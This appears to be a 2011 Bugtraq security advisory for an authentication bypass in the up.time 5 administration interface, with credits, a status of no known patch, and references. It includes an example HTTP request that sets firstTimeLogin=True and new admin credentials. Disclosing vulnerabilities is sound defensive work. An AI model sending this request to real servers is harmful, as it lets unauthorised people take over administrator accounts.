up.time Software Administration Interface Remote Authentication Bypass Vulnerability

Bugtraq ID:	47599
Class:	Unknown
CVE:
Remote:	Yes
Local:	No
Published:	Apr 27 2011 12:00AM
Updated:	Apr 27 2011 12:00AM
Credit:	James Burton, Insomnia Security
Vulnerable:	up.time Software up.time 5
Not Vulnerable:

up.time Software Administration Interface Remote Authentication Bypass Vulnerability

up.time software is prone to a remote authentication-bypass vulnerability.

Attackers can exploit this issue to bypass authentication and perform unauthorized actions.

up.time 5 is vulnerable; other versions may also be affected.

up.time Software Administration Interface Remote Authentication Bypass Vulnerability

The following example request is available:

http://www.example.com:9999/index.php?userid=admin
&firstTimeLogin=True
&password=admin
&confirmPassword=admin
&adminEmail=admin () admin
&monitorEmail=admin () admin

up.time Software Administration Interface Remote Authentication Bypass Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

up.time Software Administration Interface Remote Authentication Bypass Vulnerability

References:

• ISVA-110427.2: Up.Time Administration Interface Authentication Bypass Vulnerabil (Insomnia)
  
• Vendor Homepage (up.time Software)